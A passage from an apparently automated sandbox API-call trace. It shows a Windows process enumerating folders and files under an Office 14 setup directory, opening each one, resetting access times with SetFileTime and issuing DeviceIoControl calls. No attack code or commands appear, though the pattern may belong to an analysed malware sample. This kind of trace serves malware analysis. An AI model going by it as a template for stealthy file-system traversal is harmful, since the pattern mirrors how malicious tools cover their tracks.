lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0268.501] GetLastError () returned 0x12 [0268.501] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.501] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.501] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.501] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.501] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0268.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0268.591] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.592] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0268.592] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.592] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0268.592] NtClose (Handle=0x194) returned 0x0 [0268.592] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.592] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.592] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.592] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.592] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.592] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0268.592] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.593] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.593] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0268.593] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.593] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.593] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.593] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.593] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.593] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.593] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0268.593] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a270 [0268.593] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95c110 [0268.593] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.593] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0268.593] GetLastError () returned 0x12 [0268.593] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.593] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.593] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.593] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0268.593] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0268.593] GetLastError () returned 0x12 [0268.593] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.593] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.594] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.594] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.594] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="")) returned 1 [0268.594] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0268.594] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.594] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0268.594] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.594] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0268.594] NtClose (Handle=0x190) returned 0x0 [0268.594] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.594] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.595] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.595] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.595] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.595] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.595] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.595] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0268.595] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a290 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95c218 [0268.595] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.595] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.595] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.595] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a2b0 [0268.595] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95c320 [0268.595] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.595] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.595] GetLastError () returned 0x12 [0268.595] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.596] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.596] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.596] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0268.596] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.596] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.596] GetLastError () returned 0x12 [0268.596] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.596] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.596] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.596] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.596] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0268.596] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0268.718] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0268.718] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0268.718] NtClose (Handle=0x194) returned 0x0 [0268.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0268.718] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.719] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.719] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="")) returned 1 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a2d0 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95c428 [0268.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.719] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a2f0 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95c530 [0268.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x540) returned 0x95c940 [0268.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952b60) returned 1 [0268.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.719] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, 